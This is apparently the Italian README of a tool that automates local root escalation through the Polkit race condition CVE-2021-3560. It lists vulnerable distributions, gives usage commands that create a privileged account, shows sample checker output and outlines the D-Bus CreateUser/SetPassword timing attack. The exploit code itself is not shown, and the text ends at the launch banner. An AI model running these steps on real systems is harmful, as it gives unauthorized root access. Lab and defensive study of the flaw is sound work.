
Exploit per CVE-2021-3560 della vulnerabilità di escalation dei privilegi locali in Polkit
.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
Un exploit automatizzato per la vulnerabilità CVE-2021-3560 che colpisce PolicyKit (Polkit) sui sistemi Linux.
⚠️ AVVERTENZA: Questo strumento è destinato esclusivamente a scopi didattici e di formazione sulla cybersecurity in un ambiente di laboratorio controllato. L'uso non autorizzato di questo exploit su sistemi che non possiedi è illegale.
CVE-2021-3560 è una vulnerabilità di race condition locale in PolicyKit (polkit) che consente a un utente non privilegiato di ottenere privilegi di root su sistemi Linux vulnerabili.
La vulnerabilità riguarda due rami di Polkit con numerazione di versione diversa:
bfa5036 (versione 0.113)f81d021 (versione 0.105-26)| Distribuzione | Versione Polkit | Vulnerabile? |
|---|---|---|
| Ubuntu 20.04 | 0.105-26ubuntu1 | ✅ Sì |
| Ubuntu 18.04 | 0.105-20 | ❌ No |
| Debian testing "bullseye" | 0.105-31+ | ✅ Sì |
| Debian 10 "buster" | 0.105-25 | ❌ No |
| RHEL 8 | 0.115-11+ | ✅ Sì |
| RHEL 7 | < 0.113 | ❌ No |
| Fedora 21+ | 0.113+ | ✅ Sì |
| Fedora 20 e precedenti | < 0.113 | ❌ No |
📝 Nota: I sistemi con patch di sicurezza applicate (es. ubuntu1.1, deb10u1) non sono vulnerabili.
L'exploit richiede i seguenti strumenti (verificati automaticamente):
- dbus-send # Per comunicare con D-Bus
- pkexec # Parte di PolicyKit
- id # Per verificare la creazione dell'utente
- openssl # Per generare l'hash della password
- accountsservice # Deve essere installato e attivo
# Clona il repository (o scarica il file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# Rendi eseguibile lo script
chmod +x CVE-2021-3560_Polkit.py
Verifica se il sistema è vulnerabile senza eseguire l'exploit:
python3 CVE-2021-3560_Polkit.py --check
Esempio di output:
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)
Crea un utente privilegiato:
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>
Esempio:
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]
options:
-h, --help Mostra aiuto
-u, --username Nome utente da creare
-p, --password Password per il nuovo utente
-c, --check Verifica la vulnerabilità senza eseguire l'exploit
L'exploit sfrutta una race condition in PolicyKit durante l'elaborazione delle richieste D-Bus.
┌─────────────────────────────────────────────────────────┐
│ 1. Misurazione del timing ottimale │
│ └─> Esecuzione di test per calibrare il timing │
├─────────────────────────────────────────────────────────┤
│ 2. Sfruttamento: Creazione utente │
│ └─> Invio richiesta D-Bus CreateUser │
│ └─> Uccisione del processo al momento preciso (race)│
│ └─> Verifica se l'utente è stato creato │
├─────────────────────────────────────────────────────────┤
│ 3. Generazione hash password │
│ └─> Utilizzo di openssl passwd -6 │
├─────────────────────────────────────────────────────────┤
│ 4. Sfruttamento: Impostazione password │
│ └─> Invio richiesta D-Bus SetPassword │
│ └─> Uccisione del processo al momento preciso (race)│
│ └─> Test di login con password │
├─────────────────────────────────────────────────────────┤
│ 5. Escalation dei privilegi │
│ └─> Login con l'account creato │
│ └─> Uso di sudo se membro del gruppo sudo │
└─────────────────────────────────────────────────────────┘
# 1. Verifica della vulnerabilità
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!
# 2. Lancio dell'exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Polkit Privilege Escalation ║
╚═══════════════════════════════════════════════════════════╝